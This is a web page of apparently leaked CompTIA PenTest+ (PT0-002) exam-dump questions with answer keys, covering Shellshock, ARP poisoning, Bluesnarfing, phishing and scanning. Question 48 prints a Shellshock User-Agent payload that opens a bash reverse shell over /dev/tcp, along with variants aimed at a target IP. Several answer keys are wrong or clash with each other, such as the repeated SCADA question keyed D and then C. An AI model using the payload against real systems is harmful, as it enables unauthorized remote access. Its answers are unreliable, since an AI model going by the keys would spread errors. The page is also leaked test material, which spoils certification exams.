PT0-002 Free Exam Questions and Answers PDF Updated on Dec-2023
Latest PT0-002 Exam Dumps Recently Updated 310 Questions
CompTIA PenTest+ certification is a valuable credential for individuals seeking to validate their cybersecurity skills in the area of penetration testing and vulnerability analysis. CompTIA PenTest+ Certification certification exam covers a range of relevant topics that simulate real-world scenarios, making it a relevant and valuable credential for professionals in the cybersecurity industry. Additionally, the vendor-neutral nature of the certification makes it applicable to a wide range of organizations and industries.
NEW QUESTION # 47
A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:
U3VQZXIkM2NyZXQhCg==
Which of the following commands should the tester use NEXT to decode the contents of the file?
- A. echo U3VQZXIkM2NyZXQhCg== | base64 "d
- B. john --wordlist /usr/share/seclists/rockyou.txt password.txt
- C. tar zxvf password.txt
- D. hydra "l svsacct "p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
Answer: A
NEW QUESTION # 48
A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?
- A. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":
"text/html,application/xhtml+xml,application/xml"} - B. exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"} - C. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"} - D. exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":
"text/html,application/xhtml+xml,application/xml"}
Answer: C
NEW QUESTION # 49
A consultant is reviewing the following output after reports of intermittent connectivity issues:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?
- A. A device on the network has poisoned the ARP cache.
- B. A multicast session was initiated using the wrong multicast group.
- C. An ARP flooding attack is using the broadcast address to perform DDoS.
- D. A device on the network has an IP address in the wrong subnet.
Answer: A
Explanation:
The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as along as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.
NEW QUESTION # 50
A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:
Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)
- A. SNMP
- B. HTTP
- C. Telnet
- D. SMTP
- E. NTP
- F. DNS
Answer: B,F
NEW QUESTION # 51
During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames.
Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?
- A. Break a connection between two Bluetooth devices.
- B. Sniff and then crack the WPS PIN on an associated WiFi device.
- C. Dump the user address book on the device.
- D. Transmit text messages to the device.
Answer: C
Explanation:
Explanation
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.
NEW QUESTION # 52
A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:
Which of the following represents what the penetration tester is attempting to accomplish?
- A. MAC spoofing
- B. Double-tagging attack
- C. DNS cache poisoning
- D. ARP poisoning
Answer: B
Explanation:
Explanation
https://scapy.readthedocs.io/en/latest/usage.html
NEW QUESTION # 53
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
Explanation
1. Reflected XSS - Input sanitization (<> ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization (<> ...)
4. Local File Inclusion - sandbox req
5. Command Injection - sandbox req
6. SQLi union - paramtrized queries
7. SQLi error - paramtrized queries
8. Remote File Inclusion - sandbox
9. Command Injection - input saniti $
10. URL redirect - prevent external calls
NEW QUESTION # 54
A penetration tester ran the following commands on a Windows server:
Which of the following should the tester do AFTER delivering the final report?
- A. Downgrade the svsaccount permissions.
- B. Close the reverse shell connection.
- C. Remove the tester-created credentials.
- D. Delete the scheduled batch job.
Answer: C
NEW QUESTION # 55
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
- A. devices produce more heat and consume more power.
- B. devices may cause physical world effects.
- C. devices are obsolete and are no longer available for replacement.
- D. protocols are more difficult to understand.
Answer: D
NEW QUESTION # 56
A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?
- A. Presenting a false employee ID to the night guard
- B. Obstructing the motion sensors in the hallway of the records room
- C. Prying the lock open on the records room
- D. Climbing in an open window of the adjoining building
Answer: A
Explanation:
"to be conducted after hours and should not include circumventing the alarm or performing destructive entry"
NEW QUESTION # 57
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 58
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?
- A. Recommend configuring password complexity rules in all the systems and applications.
- B. Create a custom password dictionary as preparation for password spray testing.
- C. Recommend using a password manage/vault instead of text files to store passwords securely.
- D. Document the unprotected file repository as a finding in the penetration-testing report.
Answer: D
NEW QUESTION # 59
A penetration tester has prepared the following phishing email for an upcoming penetration test:
Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?
- A. Scarcity and fear
- B. Social proof and greed
- C. Authority and urgency
- D. Familiarity and likeness
Answer: C
NEW QUESTION # 60
During a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?
- A. Notify the primary contact immediately.
- B. Attempting to remediate the issue temporally.
- C. Shutting down the web server until the assessment is finished
- D. Continue the assessment and mark the finding as critical.
Answer: A
Explanation:
Explanation
The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.
NEW QUESTION # 61
During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?
- A. Spear phishing
- B. Watering-hole attack
- C. Impersonation
- D. Badge cloning
Answer: A
Explanation:
Explanation
Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.
NEW QUESTION # 62
A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?
- A. Fill the ARP table of the networked devices.
- B. Determine active hosts on the network.
- C. Scan the system on the most used ports.
- D. Set the TTL of ping packets for stealth.
Answer: B
Explanation:
Explanation
The tester is attempting to determine active hosts on the network by writing a script that pings a range of IP addresses. Ping is a network utility that sends ICMP echo request packets to a host and waits for ICMP echo reply packets. Ping can be used to test whether a host is reachable or not by measuring its response time. The script uses a for loop to iterate over a range of IP addresses from 192.168.1.1 to 192.168.1.254 and pings each one using the ping command with -c 1 option, which specifies one packet per address.
NEW QUESTION # 63
During an engagement, a penetration tester found the following list of strings inside a file:
Which of the following is the BEST technique to determine the known plaintext of the strings?
- A. Dictionary attack
- B. Brute-force attack
- C. Rainbow table attack
- D. Credential-stuffing attack
Answer: C
NEW QUESTION # 64
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?
- A. Access controls on the server
- B. A patch management program
- C. Stronger algorithmic requirements
- D. Encryption on the user passwords
Answer: D
NEW QUESTION # 65
A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?
- A. SearchSpliot
- B. Netcat
- C. GDB
- D. Burp Suite
Answer: C
NEW QUESTION # 66
Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)
- A. BeEF
- B. Burp Suite
- C. Nmap
- D. Hydra
- E. Nessus
- F. OWASP ZAP
Answer: B,F
NEW QUESTION # 67
A penetration tester conducts an Nmap scan against a target and receives the following results:
Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?
- A. ProxyChains
- B. Empire
- C. OWASPZAP
- D. Nessus
Answer: A
NEW QUESTION # 68
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
- A. devices produce more heat and consume more power.
- B. protocols are more difficult to understand.
- C. devices may cause physical world effects.
- D. devices are obsolete and are no longer available for replacement.
Answer: C
Explanation:
Explanation
"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.
NEW QUESTION # 69
A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:
Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?
- A. The remoteSvr variable has neither been type-hinted nor initialized.
- B. *range(1, 1025) on line 1 populated the portList list in numerical order.
- C. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
- D. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
Answer: B
Explanation:
Explanation
Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons)
https://nmap.org/book/man-port-specification.html
NEW QUESTION # 70
......
CompTIA PT0-002 Real 2023 Braindumps Mock Exam Dumps: https://www.actualtestsit.com/CompTIA/PT0-002-exam-prep-dumps.html
PT0-002 Exam Questions | Real PT0-002 Practice Dumps: https://drive.google.com/open?id=16WLe7ZUTAwfbKcAukzpWFUx4tZc16Amg